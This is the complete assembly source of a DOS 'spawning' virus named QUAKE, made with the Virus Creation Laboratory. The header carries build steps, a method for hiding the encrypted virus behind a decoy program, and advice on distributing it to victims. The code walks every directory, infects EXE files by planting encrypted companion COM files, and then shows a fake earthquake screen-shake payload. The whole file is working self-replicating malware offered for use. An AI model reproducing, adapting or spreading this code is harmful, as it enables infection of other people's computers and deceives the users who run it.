2022-08-21 09:07:57 +00:00
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
; QUAKE.ASM
|
|
|
|
|
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
|
|
|
|
;
|
|
|
|
|
; Heavily modified VCL and Original Code by the best Bleeding Edge virus
|
|
|
|
|
; writer: Night Breeze. See you all in fuckin' HELL!
|
|
|
|
|
;
|
|
|
|
|
; This is a "spawning" virus and, technically, a trojan horse. First time it
|
|
|
|
|
; is run, it will do the earthquake thing - but only after infecting another
|
|
|
|
|
; file first! When the infected file is executed (in it's directory) then it
|
|
|
|
|
; will infect another file and run the app. Then, when all files on that drive
|
|
|
|
|
; are infected, it will again do the earthquake thing!
|
|
|
|
|
;
|
|
|
|
|
; Build instructions:
|
|
|
|
|
;
|
|
|
|
|
; Assemble QUAKE.ASM to QUAKE.COM
|
|
|
|
|
; d:\tasm\tasm /mx /m2 /q /t quake
|
|
|
|
|
; link quake;
|
|
|
|
|
; exe2bin quake.exe quake.com
|
|
|
|
|
;
|
|
|
|
|
; Run QUAKE.COM and file the infected file...<g>
|
|
|
|
|
; Find file
|
|
|
|
|
; ATTRIB *.COM -r -h
|
|
|
|
|
;
|
|
|
|
|
; Get a copy of that file as it is encrypted...
|
|
|
|
|
; COPY filename.COM \mydir\TEMP.COM
|
|
|
|
|
;
|
|
|
|
|
; Compile QINJECT.PAS
|
|
|
|
|
;
|
|
|
|
|
; Cat the two files:
|
|
|
|
|
; COPY /b TEMP.COM+QINJECT.EXE QUAKE.EXE (i know, overwrites)
|
|
|
|
|
;
|
|
|
|
|
; Now, QINJECT actually as the same strings (most) as QUAKE.COM, so if the
|
|
|
|
|
; user types or debugs the program, will see the strings. The REAL virus
|
|
|
|
|
; is hidden, and encrypted, at the start of QUAKE.EXE (it's really a com file).
|
|
|
|
|
;
|
|
|
|
|
; NOTE: The flag SHOW_FLAG is used to allow an intial infection, then to all
|
|
|
|
|
; the victim to see an apparently good program - although he is getting
|
|
|
|
|
; fucked :)
|
|
|
|
|
;
|
|
|
|
|
;
|
|
|
|
|
; If all that was too hard... just distribute the enclosed EARTH.EXE program:)
|
|
|
|
|
;
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
code segment byte public
|
|
|
|
|
assume cs:code,ds:code,es:code,ss:code
|
|
|
|
|
org 0100h
|
|
|
|
|
|
|
|
|
|
start label near
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
main proc near
|
|
|
|
|
call encrypt_decrypt ; Decrypt the virus
|
|
|
|
|
|
|
|
|
|
start_of_code label near
|
|
|
|
|
|
|
|
|
|
inc Show_Flag ; Inc infect count
|
|
|
|
|
|
|
|
|
|
mov si, offset spawn_name ; Save a copy of the
|
|
|
|
|
mov di, offset save_name ; file to "spawn"
|
|
|
|
|
cld
|
|
|
|
|
mov cx, 14 ; It's allways 14 bytes
|
|
|
|
|
rep movsb
|
|
|
|
|
|
|
|
|
|
call search_files ; Find and infect a file
|
|
|
|
|
|
|
|
|
|
mov al,byte ptr [set_carry] ; AX holds ALL INFECTED value
|
|
|
|
|
cmp al, 0 ; Have we infected all files?
|
|
|
|
|
jz Effect ; If so, then do it!
|
|
|
|
|
|
|
|
|
|
cmp Show_Flag,3 ; Should we show display?
|
|
|
|
|
jl Effect
|
|
|
|
|
jmp short end00
|
|
|
|
|
Effect:
|
|
|
|
|
call EarthQuake ; Let's do it!
|
|
|
|
|
jmp short Finito ; And don't run app!
|
|
|
|
|
end00:
|
|
|
|
|
mov ah,04Ah ; DOS resize memory function
|
|
|
|
|
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
mov sp,(finish - start) + 01100h ; Change top of stack
|
|
|
|
|
|
|
|
|
|
mov si,offset save_name ; SI points to true filename
|
|
|
|
|
int 02Eh ; DOS execution back-door
|
|
|
|
|
Finito:
|
|
|
|
|
mov ah,04Ch ; DOS terminate function
|
|
|
|
|
int 021h
|
|
|
|
|
main endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
search_files proc near
|
|
|
|
|
push bp ; Save BP
|
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
|
|
|
sub sp,64 ; Allocate 64 bytes on stack
|
|
|
|
|
|
|
|
|
|
mov ah,047h ; DOS get current dir function
|
|
|
|
|
xor dl,dl ; DL holds drive # (current)
|
|
|
|
|
lea si,[bp - 64] ; SI points to 64-byte buffer
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
|
|
|
mov dx,offset root ; DX points to root directory
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
call traverse ; Start the traversal
|
|
|
|
|
|
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
|
|
|
lea dx,[bp - 64] ; DX points to old directory
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
mov sp,bp ; Restore old stack pointer
|
|
|
|
|
pop bp ; Restore BP
|
|
|
|
|
ret ; Return to caller
|
|
|
|
|
|
|
|
|
|
root db "\",0 ; Root directory
|
|
|
|
|
search_files endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
traverse proc near
|
|
|
|
|
push bp ; Save BP
|
|
|
|
|
|
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
|
|
|
int 021h
|
|
|
|
|
push bx ; Save old DTA address
|
|
|
|
|
|
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
|
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
|
|
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
|
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
mov ah,04Eh ; DOS find first function
|
|
|
|
|
mov cx,00010000b ; CX holds search attributes
|
|
|
|
|
mov dx,offset all_files ; DX points to "*.*"
|
|
|
|
|
int 021h
|
|
|
|
|
jc leave_traverse ; Leave if no files present
|
|
|
|
|
|
|
|
|
|
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
|
|
|
|
jne another_dir ; If not, try again
|
|
|
|
|
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
|
|
|
|
je another_dir ;If so, keep going
|
|
|
|
|
|
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
|
|
|
lea dx,[bp - 98] ; DX points to new directory
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
call traverse ; Recursively call ourself
|
|
|
|
|
|
|
|
|
|
pushf ; Save the flags
|
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
|
|
|
mov dx,offset up_dir ; DX points to parent directory
|
|
|
|
|
int 021h
|
|
|
|
|
popf ; Restore the flags
|
|
|
|
|
|
|
|
|
|
jnc done_searching ; If we infected then exit
|
|
|
|
|
|
|
|
|
|
another_dir: mov ah,04Fh ; DOS find next function
|
|
|
|
|
int 021h
|
|
|
|
|
jnc check_dir ; If found check the file
|
|
|
|
|
|
|
|
|
|
leave_traverse:
|
|
|
|
|
mov dx,offset exe_mask ; DX points to "*.EXE"
|
|
|
|
|
call find_files ; Try to infect a file
|
|
|
|
|
done_searching: mov sp,bp ; Restore old stack frame
|
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
|
|
|
pop dx ; Retrieve old DTA address
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
pop bp ; Restore BP
|
|
|
|
|
ret ; Return to caller
|
|
|
|
|
|
|
|
|
|
up_dir db "..",0 ; Parent directory name
|
|
|
|
|
all_files db "*.*",0 ; Directories to search for
|
|
|
|
|
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
|
|
|
|
traverse endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
find_files proc near
|
|
|
|
|
push bp ; Save BP
|
|
|
|
|
|
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
|
|
|
int 021h
|
|
|
|
|
push bx ; Save old DTA address
|
|
|
|
|
|
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
|
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
|
|
|
|
|
|
push dx ; Save file mask
|
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
|
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
mov ah,04Eh ; DOS find first file function
|
|
|
|
|
mov cx, 00100111b ; CX holds all file attributes
|
|
|
|
|
pop dx ; Restore file mask
|
|
|
|
|
find_a_file: int 021h
|
|
|
|
|
jc done_finding ; Exit if no files found
|
|
|
|
|
call infect_file ; Infect the file!
|
|
|
|
|
jnc done_finding ; Exit if no error
|
|
|
|
|
mov ah,04Fh ; DOS find next file function
|
|
|
|
|
jmp short find_a_file ; Try finding another file
|
|
|
|
|
|
|
|
|
|
done_finding: mov sp,bp ; Restore old stack frame
|
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
|
|
|
pop dx ; Retrieve old DTA address
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
pop bp ; Restore BP
|
|
|
|
|
ret ; Return to caller
|
|
|
|
|
find_files endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
infect_file proc near
|
|
|
|
|
mov ah,02Fh ; DOS get DTA address function
|
|
|
|
|
int 021h
|
|
|
|
|
mov di,bx ; DI points to the DTA
|
|
|
|
|
|
|
|
|
|
lea si,[di + 01Eh] ; SI points to file name
|
|
|
|
|
mov dx,si ; DX points to file name, too
|
|
|
|
|
mov di,offset spawn_name + 1; DI points to new name
|
|
|
|
|
xor ah,ah ; AH holds character count
|
|
|
|
|
transfer_loop: lodsb ; Load a character
|
|
|
|
|
or al,al ; Is it a NULL?
|
|
|
|
|
je transfer_end ; If so then leave the loop
|
|
|
|
|
inc ah ; Add one to the character count
|
|
|
|
|
stosb ; Save the byte in the buffer
|
|
|
|
|
jmp short transfer_loop ; Repeat the loop
|
|
|
|
|
transfer_end:
|
|
|
|
|
mov byte ptr [spawn_name],ah; First byte holds char. count
|
|
|
|
|
mov byte ptr [di],13 ; Make CR the final character
|
|
|
|
|
|
|
|
|
|
mov di,dx ; DI points to file name
|
|
|
|
|
xor ch,ch ;
|
|
|
|
|
mov cl,ah ; CX holds length of filename
|
|
|
|
|
mov al,'.' ; AL holds char. to search for
|
|
|
|
|
repne scasb ; Search for a dot in the name
|
|
|
|
|
mov word ptr [di],'OC' ; Store "CO" as first two bytes
|
|
|
|
|
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
|
|
|
|
|
|
|
|
|
|
mov byte ptr [set_carry],0 ; Assume we'll fail
|
|
|
|
|
mov ax,03D00h ; DOS open file function, r/o
|
|
|
|
|
int 021h
|
|
|
|
|
jnc infection_done ; File already exists, so leave
|
|
|
|
|
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
|
|
|
|
|
|
|
|
|
mov ah,03Ch ; DOS create file function
|
|
|
|
|
mov cx, 00100011b ; CX holds file attributes
|
|
|
|
|
int 021h
|
|
|
|
|
xchg bx,ax ; BX holds file handle
|
|
|
|
|
|
|
|
|
|
call encrypt_code ; Write an encrypted copy
|
|
|
|
|
|
|
|
|
|
mov ah,03Eh ; DOS close file function
|
|
|
|
|
int 021h
|
|
|
|
|
|
|
|
|
|
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
|
|
|
|
ret ; Return to caller
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
spawn_name db 0, 12 dup (?),13 ; Name for next spawn
|
|
|
|
|
save_name db 0, 12 dup (?),13 ; Name for current spawn
|
|
|
|
|
show_flag db 0 ; When 0 & 1 then show display
|
|
|
|
|
set_carry db ? ; Set-carry-on-exit flag
|
|
|
|
|
infect_file endp
|
|
|
|
|
|
|
|
|
|
; =============================================================================
|
|
|
|
|
EarthQuake proc near
|
|
|
|
|
call InitCrt ; Initialize the vars
|
|
|
|
|
|
|
|
|
|
call DrawFrame ; Draw a frame in middle of screen
|
|
|
|
|
|
|
|
|
|
mov cx, 2 ; Make some noise
|
|
|
|
|
call Siren
|
|
|
|
|
|
|
|
|
|
mov si, OFFSET Warning ; Put Msg 1
|
|
|
|
|
mov dx,0718h ; Move to Row 8, column 20
|
|
|
|
|
call WriteStr
|
|
|
|
|
|
|
|
|
|
mov cx, 1
|
|
|
|
|
call Siren
|
|
|
|
|
|
|
|
|
|
mov si, OFFSET ToHills ; Put Msg 2
|
|
|
|
|
mov dx,0A16h ; Move to Row 10, column 18
|
|
|
|
|
call WriteStr
|
|
|
|
|
|
|
|
|
|
mov cx, 2 ; More noise
|
|
|
|
|
call Siren
|
|
|
|
|
|
|
|
|
|
call Shake ; Shake the screen - it's a quake!
|
|
|
|
|
|
|
|
|
|
call DrawFrame ; Draw a frame in middle of screen
|
|
|
|
|
|
|
|
|
|
mov si, OFFSET MadeIt ; Put Made It Msg
|
|
|
|
|
mov dx,081Fh
|
|
|
|
|
call WriteStr
|
|
|
|
|
|
|
|
|
|
cmp Show_Flag, 3
|
|
|
|
|
jl EarthDone
|
|
|
|
|
mov si, OFFSET BurmaShave ; Put Logo
|
|
|
|
|
mov dx,0C36h
|
|
|
|
|
call WriteStr
|
|
|
|
|
EarthDone:
|
|
|
|
|
ret
|
|
|
|
|
EarthQuake endp
|
|
|
|
|
|
|
|
|
|
Warning db '* * * Earthquake Warning! * * *', 0
|
|
|
|
|
ToHills db 'Head for the hills! Take cover!!!', 0
|
|
|
|
|
MadeIt db 'Whew! We Made It!', 0
|
|
|
|
|
BurmaShave db '-=[VCL/BEv]=-', 0
|
|
|
|
|
|
|
|
|
|
Table struc ; Structure of the Shaker Table
|
|
|
|
|
Iters db 0 ; Number of interations (quakes)
|
|
|
|
|
Cols db 0 ; Scroll number of columns
|
|
|
|
|
Pause dw 0 ; And then wait this much time
|
|
|
|
|
Table ends
|
|
|
|
|
|
|
|
|
|
QuakeTable Table < 3, 1, 500>
|
|
|
|
|
Table < 4, 2, 250>
|
|
|
|
|
Table < 5, 3, 175>
|
|
|
|
|
Table < 6, 4, 100>
|
|
|
|
|
Table <10, 5, 30>
|
|
|
|
|
Table <20, 5, 10>
|
|
|
|
|
Table <10, 5, 30>
|
|
|
|
|
Table < 5, 4, 100>
|
|
|
|
|
Table < 4, 3, 175>
|
|
|
|
|
Table < 3, 2, 250>
|
|
|
|
|
Table < 2, 1, 500>
|
|
|
|
|
Table < 0, 0, 0> ; End of data
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
Shake proc near
|
|
|
|
|
mov si, OFFSET QuakeTable ; Get pointer to table
|
|
|
|
|
xor cx,cx
|
|
|
|
|
ShakeNext:
|
|
|
|
|
mov cl, [si].Iters
|
|
|
|
|
jcxz ShakeDone
|
|
|
|
|
ShakeInner:
|
|
|
|
|
push cx ; Save for later
|
|
|
|
|
push si ; ditto
|
|
|
|
|
|
|
|
|
|
xor ax,ax ; duh...
|
|
|
|
|
mov al, [si].Cols ; Number of columns to scroll
|
|
|
|
|
push ax ; Get Ready
|
|
|
|
|
call ScrollRight ; Go...Scroll Screen to right
|
|
|
|
|
pop si ; Restore it
|
|
|
|
|
|
|
|
|
|
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
|
|
|
|
|
jle ShakeCont1 ; If less or equal then skip vert scroll
|
|
|
|
|
mov ah, 6 ; Scroll up 1 line
|
|
|
|
|
call Scroll ; Do it.
|
|
|
|
|
ShakeCont1:
|
|
|
|
|
mov cx, [si].Pause ; delay period
|
|
|
|
|
call Delay ; Wait around a bit
|
|
|
|
|
|
|
|
|
|
push si ; And save our table index for l8r
|
|
|
|
|
xor ax,ax ; duh...
|
|
|
|
|
mov al, [si].Cols ; Number of columns to scroll
|
|
|
|
|
push ax ; Get Ready...Set...
|
|
|
|
|
call ScrollLeft ; Go! ... Scroll screen left
|
|
|
|
|
pop si ; And restore our table index
|
|
|
|
|
|
|
|
|
|
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
|
|
|
|
|
jle ShakeCont2 ; If less or equal then skip vert scroll
|
|
|
|
|
mov ah, 7 ; Scroll up 1 line
|
|
|
|
|
call Scroll ; Do it.
|
|
|
|
|
ShakeCont2:
|
|
|
|
|
mov cx, [si].Pause ; pause again
|
|
|
|
|
call Delay ; Do it.
|
|
|
|
|
|
|
|
|
|
pop cx ; Get back our iteration counter
|
|
|
|
|
Loop ShakeInner ; Keep going
|
|
|
|
|
add si, 4 ; Move to next table element
|
|
|
|
|
jmp short ShakeNext ; Keep on doing it...
|
|
|
|
|
ShakeDone:
|
|
|
|
|
ret
|
|
|
|
|
Shake endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
; in: cx = number of times to do the siren
|
|
|
|
|
Siren proc near
|
|
|
|
|
KeepGoing:
|
|
|
|
|
push cx ; Save the count
|
|
|
|
|
mov ax, 880 ; Freq
|
|
|
|
|
mov bx, 500 ; Duration = 1/2 second
|
|
|
|
|
push ax ; Put Freq on stack
|
|
|
|
|
push bx ; Put Duration on stack
|
|
|
|
|
call Beep ; Make a noise
|
|
|
|
|
mov ax, 660 ; Freq
|
|
|
|
|
mov bx, 500 ; Duration = 1/5 second
|
|
|
|
|
push ax ; Put Freq on stack
|
|
|
|
|
push bx ; Put Duration on stack
|
|
|
|
|
call Beep ; Make more noise
|
|
|
|
|
pop cx ; Restore the count
|
|
|
|
|
loop KeepGoing ; So we can keep going
|
|
|
|
|
ret
|
|
|
|
|
Siren endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
; ds:si points to the null terminated string to print
|
|
|
|
|
; dx has row/col - dh=row
|
|
|
|
|
WriteStr proc near
|
|
|
|
|
mov bh,0 ; We'll be working on page 0
|
|
|
|
|
WriteMore:
|
|
|
|
|
mov al,[si] ; get the next character to print
|
|
|
|
|
cmp al, 0 ; done yet?
|
|
|
|
|
jz WriteDone ; Yep, so quit
|
|
|
|
|
inc si ; si++
|
|
|
|
|
mov ah,2 ; locate cursor at dx
|
|
|
|
|
int 10h ; do it
|
|
|
|
|
push cx ; save it for later
|
|
|
|
|
mov cx,1 ; count of characters to write!
|
|
|
|
|
mov ah,10 ; subfunction 10
|
|
|
|
|
int 10h ; call bios to do our dirty work
|
|
|
|
|
pop cx ; get it back
|
|
|
|
|
inc dx ; move to next cursor position
|
|
|
|
|
jmp short WriteMore ; keep going for cx
|
|
|
|
|
WriteDone:
|
|
|
|
|
ret
|
|
|
|
|
WriteStr endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
DrawFrame proc near
|
|
|
|
|
push bp ; Work around a stoopid bug in PC/XTs
|
|
|
|
|
mov ax, 0600h ; Draw and clear the outer frame
|
|
|
|
|
push ax ; Save for later
|
|
|
|
|
mov cx, 050Ah ; Upper screen coords: CH = ROW
|
|
|
|
|
mov dx, 0D46h ; Lower bounds, DH = ROW
|
|
|
|
|
mov bh, 70h ; Color is White Background, Black fore
|
|
|
|
|
int 10h ; Do It.
|
|
|
|
|
|
|
|
|
|
pop ax ; Draw and clear the inner frame
|
|
|
|
|
mov cx, 060Ch ; Upper screen coords: CH = ROW
|
|
|
|
|
mov dx, 0C44h ; Lower bounds, DH = ROW
|
|
|
|
|
mov bh, 0Eh ; Color is Black Background, Yellow fore
|
|
|
|
|
int 10h ; Do It Again
|
|
|
|
|
pop bp ; End of stoopid fix
|
|
|
|
|
ret
|
|
|
|
|
DrawFrame endp
|
|
|
|
|
|
|
|
|
|
; =============================================================================
|
|
|
|
|
ScrollRight proc near
|
|
|
|
|
push bp
|
|
|
|
|
mov bp, sp
|
|
|
|
|
mov ax, [bp+4] ; calc ColsToMove <- LEN shl 1
|
|
|
|
|
shl ax, 1 ; multiply by 2
|
|
|
|
|
mov ColsToMove, ax ; And save it
|
|
|
|
|
mov bx, NumCols ; calc WordsToScroll <- NumCols - LEN
|
|
|
|
|
sub bx, ax ; adjust for scroll difference
|
|
|
|
|
inc bx ; BX = WordsToScroll
|
|
|
|
|
mov ax, VidSegment ; Put ES = Video Segment
|
|
|
|
|
mov es, ax
|
|
|
|
|
xor ax, ax ; Start on row 0 aka 1
|
|
|
|
|
sr_NextRow:
|
|
|
|
|
push ax ; Save for later
|
|
|
|
|
mul LineWidth ; AX now has ROW * LineWidth
|
|
|
|
|
push ax ; Save start of row offset for printing
|
|
|
|
|
add ax, LineWidth ; AX points to last byte of the row
|
|
|
|
|
sub ax, ColsToMove ; This moves back 1 LEN of ch/attr pairs
|
|
|
|
|
mov di, ax ; save in DEST
|
|
|
|
|
sub ax, ColsToMove ; AX now moves back another LEN pairs
|
|
|
|
|
mov si, ax ; save in SOURCE
|
|
|
|
|
mov cx, bx ; BX = Words to Scroll
|
|
|
|
|
push ds ; Stash this
|
|
|
|
|
push es ; Make DS = ES
|
|
|
|
|
pop ds ; Like this
|
|
|
|
|
std ; Set SI and DI to decrement
|
|
|
|
|
rep movsw
|
|
|
|
|
pop ds ; Get the DS back
|
|
|
|
|
pop di ; Grab the Source Offset we saved above
|
|
|
|
|
mov cx, [bp+4] ; Prepare to print LEN blanks
|
|
|
|
|
call PrintBlank
|
|
|
|
|
pop ax ; Saved row
|
|
|
|
|
inc ax ; Move to next row
|
|
|
|
|
cmp ax, 25 ; Done with all rows?
|
|
|
|
|
jne sr_NextRow ; No? Then do next row!
|
|
|
|
|
|
|
|
|
|
mov sp, bp
|
|
|
|
|
pop bp
|
|
|
|
|
ret 2
|
|
|
|
|
ScrollRight endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
ScrollLeft proc near
|
|
|
|
|
push bp
|
|
|
|
|
mov bp, sp
|
|
|
|
|
mov ax, [bp+4] ; calc ColsToMove := Len Shl 1
|
|
|
|
|
shl ax, 1
|
|
|
|
|
mov ColsToMove, ax
|
|
|
|
|
mov bx, NumCols ; calc WordsToScroll := pred(NumCols) shl 1
|
|
|
|
|
mov ax, VidSegment ; Make ES point to the video segment
|
|
|
|
|
mov es, ax
|
|
|
|
|
|
|
|
|
|
mov es, ax
|
|
|
|
|
xor ax, ax ; Start on row 0 aka 1
|
|
|
|
|
sl_NextRow:
|
|
|
|
|
push ax ; Save Row for later
|
|
|
|
|
mul LineWidth ; calc AX := Row * LineWidth
|
|
|
|
|
push ax ; Save Start of Line
|
|
|
|
|
mov di, ax ; This is where it's going
|
|
|
|
|
add ax, ColsToMove ; calc AX := AX + ColsToMove
|
|
|
|
|
mov si, ax ; This will be our source
|
|
|
|
|
push ds ; Stash for later ...
|
|
|
|
|
push es ; Make DS = ES = Video Segment
|
|
|
|
|
pop ds
|
|
|
|
|
mov cx, bx ; BX = Words To Scroll
|
|
|
|
|
cld ; Set SI and DI to decrement
|
|
|
|
|
rep movsw
|
|
|
|
|
pop ds ; Get our DS back...
|
|
|
|
|
|
|
|
|
|
pop di ; Grab the Source Offset we saved
|
|
|
|
|
add di, LineWidth
|
|
|
|
|
sub di, colsToMove
|
|
|
|
|
mov cx, [bp+4] ; Prepare to print some blanks
|
|
|
|
|
call PrintBlank ; Do It
|
|
|
|
|
|
|
|
|
|
pop ax ; Get back out row value
|
|
|
|
|
inc ax ; And move to next row
|
|
|
|
|
cmp ax, 25 ; first check if we are done
|
|
|
|
|
jne sl_NextRow ; If now, then do next row
|
|
|
|
|
|
|
|
|
|
mov sp, bp
|
|
|
|
|
pop bp
|
|
|
|
|
ret 2
|
|
|
|
|
ScrollLeft endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
; In AH = 6 scroll up
|
|
|
|
|
; = 7 scroll down
|
|
|
|
|
Scroll proc near
|
|
|
|
|
mov al, 1 ; We will always scroll 1 line
|
|
|
|
|
xor cx, cx ; Set Top Row/Col to (0,0)
|
|
|
|
|
mov dx, 184Fh ; Set Bottom Row/Col to (24,79)
|
|
|
|
|
mov bh, 07h ; Use a normal blank
|
|
|
|
|
push bp ; Work around a lame bug on PC/XTs
|
|
|
|
|
int 10h ; Do Bios...Oh Do Me Now
|
|
|
|
|
pop bp ; And continue fixing that st00pid bug
|
|
|
|
|
ret ; I really feel sill doc'g this routine...
|
|
|
|
|
Scroll endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
PrintBlank proc near
|
|
|
|
|
; In ES - Video Segment
|
|
|
|
|
; DI - Offset to print blank at
|
|
|
|
|
; CX - Number of blanks to print
|
|
|
|
|
cld ; store forward (increment DI)
|
|
|
|
|
mov al,' ' ; We want to print a blank
|
|
|
|
|
PrintAgain:
|
|
|
|
|
stosb ; put in one blank char
|
|
|
|
|
inc di ; skip video attribute
|
|
|
|
|
loop short PrintAgain
|
|
|
|
|
ret
|
|
|
|
|
PrintBlank endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
; All the routines dealing with Sound and Delays - especially the delay
|
|
|
|
|
; calibration routine were mostly stolen from Kim Kokkonen's code in earlier
|
|
|
|
|
; version of Turbo Professional. KK is the owner of Turbo Power - a damn good
|
|
|
|
|
; set of programming tools - plug plug!
|
|
|
|
|
; Beep(Hz, MS:Word); assembler;
|
|
|
|
|
Beep proc near
|
|
|
|
|
push bp
|
|
|
|
|
mov bp, sp
|
|
|
|
|
mov bx, [bp+6] ; hertz
|
|
|
|
|
mov AX,34DDH
|
|
|
|
|
mov DX,0012H
|
|
|
|
|
cmp DX,BX
|
|
|
|
|
jnc beepStop
|
|
|
|
|
div BX
|
|
|
|
|
mov BX,AX ; Lots of port tweaking... Isn't
|
|
|
|
|
in AL,61H ; this shit fun???
|
|
|
|
|
test AL,3
|
|
|
|
|
jnz @99
|
|
|
|
|
or AL,3
|
|
|
|
|
out 61H,AL
|
|
|
|
|
mov AL,0B6H
|
|
|
|
|
out 43H,AL
|
|
|
|
|
@99:
|
|
|
|
|
mov AL,BL ; I know I never get bored.!!
|
|
|
|
|
out 42H,AL
|
|
|
|
|
mov AL,BH
|
|
|
|
|
out 42H,AL
|
|
|
|
|
BeepStop:
|
|
|
|
|
mov CX, [bp+4] ; push ms delay time
|
|
|
|
|
call Delay ; and wait...
|
|
|
|
|
|
|
|
|
|
IN AL, 61h ; Now turn off the speaker
|
|
|
|
|
AND AL, 0FCh
|
|
|
|
|
out 061h, AL
|
|
|
|
|
mov sp, bp
|
|
|
|
|
pop bp
|
|
|
|
|
ret 4
|
|
|
|
|
Beep endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
; In: cx = delay in ms
|
|
|
|
|
Delay proc near
|
|
|
|
|
delay1: ; What's to say... a tight loop
|
|
|
|
|
call delayOneMS ; counting milliseconds
|
|
|
|
|
loop short delay1
|
|
|
|
|
ret
|
|
|
|
|
Delay endp
|
|
|
|
|
|
|
|
|
|
; =============================================================================
|
|
|
|
|
DelayOneMS proc near
|
|
|
|
|
push cx ; Save CX
|
|
|
|
|
mov cx, OneMS ; Loop count into CX
|
|
|
|
|
DelayOne1:
|
|
|
|
|
loop delayOne1 ; Wait one millisecond
|
|
|
|
|
pop cx ; Restore CX
|
|
|
|
|
ret
|
|
|
|
|
DelayOneMs endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
Calibrate_Delay proc near
|
|
|
|
|
mov ax,40h
|
|
|
|
|
mov es,ax
|
|
|
|
|
mov di,6Ch ; ES:DI is the low word of BIOS timer count
|
|
|
|
|
mov OneMS, 55 ; Initial value for One MS's time
|
|
|
|
|
xor dx,dx ; DX = 0
|
|
|
|
|
mov ax,es:[di] ; AX = low word of timer
|
|
|
|
|
CalKeepOn:
|
|
|
|
|
cmp ax,es:[di] ; Keep looking at low word of timer
|
|
|
|
|
je CalKeepOn ; until its value changes...
|
|
|
|
|
mov ax,es:[di] ; ...then save it
|
|
|
|
|
CalDoMore:
|
|
|
|
|
call DelayOneMs ; Delay for a count of OneMS (55)
|
|
|
|
|
inc dx ; Increment loop counter
|
|
|
|
|
cmp ax,es:[di] ; Keep looping until the low word...
|
|
|
|
|
je CalDoMore ; ...of the timer count changes again
|
|
|
|
|
mov OneMS, dx ; DX has new OneMS }
|
|
|
|
|
ret
|
|
|
|
|
Calibrate_Delay endp
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
InitCrt proc near
|
|
|
|
|
mov ah,15 ; Get Video Mode
|
|
|
|
|
int 10h
|
|
|
|
|
cmp al, 7 ; Check if this is monochrome
|
|
|
|
|
je DoneInit
|
|
|
|
|
add VidSegment, 800h
|
|
|
|
|
DoneInit:
|
|
|
|
|
mov byte ptr NumCols, ah ; Set the number of Character Cols
|
|
|
|
|
shl ah, 1 ; Mult by two for number of vid bytes
|
|
|
|
|
mov byte ptr LineWidth, ah ; And stash it...
|
|
|
|
|
ToneInit:
|
|
|
|
|
call Calibrate_Delay
|
|
|
|
|
ret
|
|
|
|
|
InitCrt endp
|
|
|
|
|
|
|
|
|
|
; =============================================================================
|
|
|
|
|
VidSegment dw 0B000h ; Base Video Segment
|
|
|
|
|
NumCols dw ? ; Columns on Screen
|
|
|
|
|
LineWidth dw ? ; NumCols * 2
|
|
|
|
|
ColsToMove dw ? ; Number of video bytes to move each time
|
|
|
|
|
OneMS dw ? ; Calibration value for 1 ms of time
|
|
|
|
|
|
|
|
|
|
; =============================================================================
|
|
|
|
|
